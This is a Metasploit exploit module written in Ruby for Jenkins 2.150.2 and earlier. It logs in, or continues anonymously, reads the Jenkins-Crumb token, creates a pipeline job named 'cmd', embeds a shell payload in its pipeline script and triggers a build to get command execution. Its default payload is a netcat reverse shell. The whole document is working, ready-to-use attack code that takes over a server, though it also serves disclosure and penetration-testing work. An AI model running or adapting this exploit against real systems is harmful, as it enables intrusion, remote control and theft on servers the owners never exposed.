##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)',
          'Description'    => %q{
                  This module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges.
                  The vulnerability is exploited by a small script prepared in NodeJS.
                  The sh parameter allows us to run commands.
                  Sample script: 
                                node {
                                      sh "whoami"
                                }
                  In addition, ANONYMOUS users also have the authority to JOB create and BUILD by default.
                  Therefore, all users without console authority can run commands on the system as root privilege.
          },
          'Author'         => [
            'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
          ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              ['URL', 'https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html']
            ],
          'Privileged'     => true,
          'Payload'        =>
            {
              'DisableNops' => true,
              'Space'       => 512,
              'Compat'      =>
                {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'netcat generic perl ruby python telnet',
                }
            },
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Targets'        => [[ 'Jenkins <= 2.150.2', { }]],
          'DisclosureDate' => 'Feb 11 2019',
          'DefaultTarget'  => 0,
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }))

          register_options(
            [
                OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
                OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
                OptString.new('PATH', [ true, 'The path to jenkins', '/' ]),
            ], self.class)
    end
##
# Jenkins activity check
##
 
    def check
        res = send_request_cgi({'uri' => "/login"})
        if res and res.headers.include?('X-Jenkins')
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end
 
    def exploit
        print_status('Attempting to login to Jenkins dashboard')
        res = send_request_cgi({'uri' => "/script"})
        if not (res and res.code)
            fail_with(Exploit::Failure::Unknown)
        end
 
        sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
        @cookie = "#{sessionid}"
	print_status("#{sessionid}")
 
        if res.code != 200
            print_status('Logging in...')
##
# Access control and information
##
            res = send_request_cgi({
                'method'    => 'POST',
                'uri'       => "/j_acegi_security_check",
                'cookie'    => @cookie,
                'vars_post' =>
                    {
                        'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
                        'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
                        'Submit'     => 'Sign+in'
                    }
            })

            if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
                print_error('User Login failed. If anonymous login is active, exploit will continue.')
            end
        else
            print_status('No authentication required, skipping login...')
        end
##
# Check Crumb for create pipeline
##
	cookies = res.get_cookies
        res = send_request_cgi({
	    'method' => 'GET',
            'uri' => "/view/all/newJob",
            'cookie'  => cookies
        })

        html = res.body
        if html =~ /Jenkins-Crumb/
          print_good("Login Successful")
        else
          print_status("Service found, but login failed")
          exit 0
        end

	crumb = res.body.split('Jenkins-Crumb')[1].split('");<')[0].split('"').last
        print_status("Jenkins-Crumb: #{crumb}")
##
# Create Pipeline
##
        res = send_request_cgi({
	    'method' => 'POST',
            'uri' => "/view/all/createItem",
            'cookie'  => cookies,
            'vars_post' =>
                {
                    'name' => "cmd",
                    'mode' => "org.jenkinsci.plugins.workflow.job.WorkflowJob",
                    'from' => "",
                    'Jenkins-Crumb' => "#{crumb}",
                    'json' => "%7B%22name%22%3A+%22cmd%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22%2C+%22from%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%22528f90f71b2d2742299b4daf503130ac%22%7"
                }
        })

##
# Configure Pipeline
##
        shell = payload.encoded
        res = send_request_cgi({
	    'method' => 'POST',
            'uri' => "/job/cmd/configSubmit",
            'cookie'  => cookies,
            'vars_post' =>
                {
                    'description' => "cmd",
                    'Jenkins-Crumb' => "#{crumb}",
                    'json' => "{\"description\": \"cmd\", \"properties\": {\"stapler-class-bag\": \"true\", \"hudson-security-AuthorizationMatrixProperty\": {}, \"jenkins-model-BuildDiscarderProperty\": {\"specified\": false, \"\": \"0\", \"strategy\": {\"daysToKeepStr\": \"\", \"numToKeepStr\": \"\", \"artifactDaysToKeepStr\": \"\", \"artifactNumToKeepStr\": \"\", \"stapler-class\": \"hudson.tasks.LogRotator\", \"$class\": \"hudson.tasks.LogRotator\"}}, \"org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty\": {\"specified\": false}, \"org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty\": {\"specified\": false}, \"com-coravy-hudson-plugins-github-GithubProjectProperty\": {}, \"org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty\": {\"specified\": false, \"hint\": \"MAX_SURVIVABILITY\"}, \"org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty\": {\"specified\": false, \"buildCount\": \"1\"}, \"hudson-model-ParametersDefinitionProperty\": {\"specified\": false}, \"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\": {}, \"org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty\": {\"triggers\": {\"stapler-class-bag\": \"true\"}}}, \"disable\": false, \"hasCustomQuietPeriod\": false, \"quiet_period\": \"5\", \"displayNameOrNull\": \"\", \"\": \"0\", \"definition\": {\"script\": \"node {\\n    sh \\\"#{shell}\\\"\\n}\", \"\": [\"try sample Pipeline...\", \"\\u0001\\u0001\"], \"sandbox\": true, \"stapler-class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\", \"$class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\"}, \"core:apply\": \"\", \"Jenkins-Crumb\": \"#{crumb}\"}",
                    'Submit' => "Save"
                }
        })

        if res.code == 302
          print_good("Pipeline was created and Node JS code was integrated.")
        end
##
# Build Pipeline and Execute payload
##
        print_status("Trying to get remote shell...")
        res = send_request_cgi({
	    'method' => 'POST',
            'uri' => "/job/cmd/build?delay=0sec",
            'cookie'  => cookies,
            'vars_post' =>
                {
                    'Jenkins-Crumb' => "#{crumb}"
                }
        })
    handler
    end
end
##
# End
##
